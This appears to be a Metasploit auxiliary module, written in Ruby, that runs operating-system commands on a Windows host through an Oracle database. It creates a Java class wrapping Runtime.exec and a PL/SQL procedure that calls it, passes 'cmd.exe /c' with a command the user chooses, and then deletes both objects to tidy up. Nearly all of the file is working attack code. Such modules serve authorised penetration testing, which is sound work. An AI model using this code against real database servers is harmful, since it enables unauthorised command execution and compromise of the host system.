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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::ORACLE
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle Java execCommand (Win32)',
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      'Description'    => %q{
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          This module will create a java class which enables the execution of OS commands.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'https://www.metasploit.com/users/mc' ],
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        ],
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      'DisclosureDate' => '2007-12-07'))
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      register_options(
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        [
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          OptString.new('CMD', [ false, 'The OS command to execute.',  'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),
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        ])
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  end
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  def run
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    return if not check_dependencies
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    source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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    name   = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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    java = "
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      create or replace and resolve java source named \"#{source}\" as
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      import java.lang.*;
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      import java.io.*;
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      public class #{source}
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      {
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      public static void execCommand (String command) throws IOException
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      {
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      Runtime.getRuntime().exec(command);
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      }
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      };
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      "
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    procedure = "
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      create or replace procedure #{name} (p_command in varchar2)
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      as language java
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      name '#{source}.execCommand (java.lang.String)';
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      "
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    exec      = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"
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    drops     = "drop java source #{source}"
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    dropp     = "drop procedure #{name}"
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    begin
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      print_status("Creating java source '#{source}'...")
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      prepare_exec(java)
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    rescue => e
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      return
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    end
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    print_status("Creating procedure '#{name}'...")
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    prepare_exec(procedure)
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    print_status("Sending command: '#{datastore['CMD']}'")
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    prepare_exec(exec)
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    print_status("Removing java source '#{source}'...")
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    prepare_exec(drops)
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    print_status("Removing procedure '#{name}'...")
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    prepare_exec(dropp)
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  end
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end
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